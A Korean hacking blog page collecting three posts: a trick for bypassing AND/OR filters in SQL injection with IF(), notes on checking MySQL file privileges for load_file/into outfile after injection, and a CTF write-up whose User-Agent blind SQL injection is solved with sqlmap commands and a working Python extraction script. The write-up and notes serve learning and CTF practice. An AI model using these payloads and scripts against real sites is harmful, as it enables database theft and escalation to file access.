'SQL'에 해당되는 글 3건

반응형

1. 서론

기존에 나는 [ no=3 and id='aa' ]와 같이 and 구문 이전에 특정 행을 지정을 해줘야 해당 행의 id를 가져온다고 알고 있었다.

만약 and 구문이 필터링 되어있을 경우 &&로 우회를 하였는데 이 또한 필터링 되어있을 경우에는 어떻게 원하는 행에 대해 조건 검사를 어떻게 할 수 있을지 고민해보았다.



2. 본론

(1) test 테이블 확인



(2) if 구문 조건식에 3번 행이 가지고 있는 데이터에 일치하는 조건으로 설정

 - 3번 행의 THEMA 컬럼 첫번째 문자열이 V로 시작한다. 이에 따라 예상대로라면 일치하는 데이터가 있기 때문에 true가 되어 TID=1로 세팅되어 1번 행이 출력될거라고 예상이 된다.

 - 하지만 결과는 false가 되어 TID가 2인 행이 출력된다.



(3) 참일 때의 데이터를 해당 조건식에 일치하는 행으로 지정

 - 조건식에 일치하는 행이 3인 경우이므로 참일 때의 데이터에 3을 지정해준다.

 - 그 결과는 참일 때와 거짓일 때의 데이터인 TID가 2인 것과 3인 것이 동시에 출력된다. 


(4) 거짓일 때의 데이터를 존재하지 않는 데이터로 지정

 - 조회 결과가 복수일 경우 웹 서비스에서 제대로 출력이 안될 가능성이 크기 때문에 조회 결과는 한 행만 출력되는 것이 좋다.

이에 따라 거짓일 때의 데이터를 존재하지 않는 값인 0으로 지정해준다.

 - 예상대로 3인 행만이 출력됨을 확인할 수 있다.



3. 결론

위에서 확인한 사항에 대해 생각을 해본 결과 아래와 같은 쿼리와 동일하게 동작한다고 판단이 들었다.

select * from test where TID=[참일 때의 값] and [조건식] or [거짓일 때의 값]


이를 잘 이용한다면 and 구문이나 or 구문이 필터링되었을 때 우회하는 기법으로 이용이 가능할 것이라 생각한다.


※ and 구문 우회 예시

 - [ select * from test where TID=3 and substr(THEMA,1,1)='V' and FID=1 ]과 동일한 구문




반응형

'Hacking > Web' 카테고리의 다른 글

Server-side Vulnerability  (0) 2020.04.09
Client-side Vulnerability  (0) 2020.04.02
Non alphanumeric code in PHP  (0) 2020.03.09
SQL Injection in INSERT, UPDATE and Delete Statements  (0) 2020.03.06
[root-me] NoSQL injection - Blind  (0) 2020.03.05
블로그 이미지

rootable

,
반응형

mysql에서는 SQL Injection을 통해 파일 다운로드 취약점, 파일 업로드 취약점으로 나아갈 수 있는 방법이 있다. 이는 바로 load_file 구문과 into outfile 구문을 이용하는 것이다.

해당 구문을 이용한 취약점에 대해서는 구글링할 것을 추천하고 해당 포스팅에서는 SQL Injection 이후 해당 구문들을 사용할 수 있는지 확인하는 것에 포커스를 두었다.


1. SQL Injection을 통해 DB 정보 획득

 - user명 : select user();

 - version 정보 : select @@version;


만약 버전 5.1.17 이상이라면 file-priv 옵션이 존재하므로 load_file과 into outfile을 진행하기 위해서는 해당 옵션이 현재 user에 Y로 설정되어있는지 확인이 필요함.


- file-priv 옵션 : select user, file_priv from mysql.user;

만약 file_priv 값이 N으로 설정되어 있다면 load_file과 into outfile은 불가하다.



2. secure-file-priv

 - 현재 user에게 file-priv 옵션이 Y로 지정되어있다라도 secure-file-priv 옵션이 지정되어있으면 해당 디렉토리 이외에는 읽기/쓰기가 불가능하다.


ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement


만약 위와 같은 에러가 떴다면, 이는 secure-file-priv로 지정한 디렉토리 이외의 디렉토리에 존재하는 파일을 읽거나 쓰려고 했기 때문이다.


 - MYSQL 5.6.34 이후의 버전에서는 보안 문제로 인해 secure-file-priv 옵션이 지정되어 있지 않을 경우에도 위와 같은 에러문이 출력되며 load_file과 into outfile 구문을 사용할 수 없다.


 secure-file-priv 확인 방법

 * 명령어 :  SHOW VARIABLES LIKE 'secure_file%';

 * 옵션 설정 파일 예시

   - 리눅스 :  /etc/my.cnf  or /etc/mysql/my.cnf

   - 윈도우 : C:\ProgramData\MySQL\MySQL Server 5.6\my.ini


반응형

'Hacking > Web' 카테고리의 다른 글

Indirect SQL Injection  (0) 2019.08.11
Controller Location In Spring Framework  (0) 2019.07.29
[JAVA] AES256 decrypt Code  (0) 2019.04.25
[Websec.fr] level 8 Writeup  (0) 2019.04.11
[websec.fr] level 25 writeup with parse_url bug  (0) 2019.04.07
블로그 이미지

rootable

,
반응형

해당 문제는 2018 Xmas-CTF를 복구한 문제입니다.


문제에 접근하면 액세스 거부! 라는 글이 보인다.

돌아다녀봐도 사용자로부터 입력을 받는 파라미터나 버튼이 없는 것을 확인하였다.


나는 여기서 [공인된 컴퓨터] 라는 것에서 힌트를 얻었다.

user-agent 부분에서 뭔가 되지 않을까 싶어 SQL Injection을 시도하였고 성공하였다.




위와 같이 User-Agent 부분에 Injection 구문을 넣은 결과 아래와 같이 [환영합니다] 라는 문구가 떴다.



여기부터 2가지 방식으로 진행하였다.


방법1. SqlMap 활용 > Time Based SQL Injection


1) DB 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 --dbs

 - user-agent에 대한 공격을 진행하기 위해서는 level 3으로 지정해주어야 한다.


2) TABLE 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db --tables


3) column Name 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas --columns


4) 데이터 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas -C ua --dump



방법 2. Blind SQL Injection


1) 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib2

flag = ""
url = "http://ctf.j0n9hyun.xyz:2029/"
request = urllib2.Request(url)

for chr_l in range(1,41):
    print "[-] find "+ str(chr_l)+"'s letter"
    binary=''

    for bin_l in range(1,8):
        request.add_header('User-Agent',"' or (select substr(lpad(bin(ascii(substr(ua,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) from uas)=1 and '1'='1")
        if("color: green;" in urllib2.urlopen(request).read()):
            binary += '1'
        else:
            binary += '0'
        print binary

    flag = flag + ('%x' % int(binary,2)).decode('hex')
    print flag

print flag

cs

2) 결과




반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,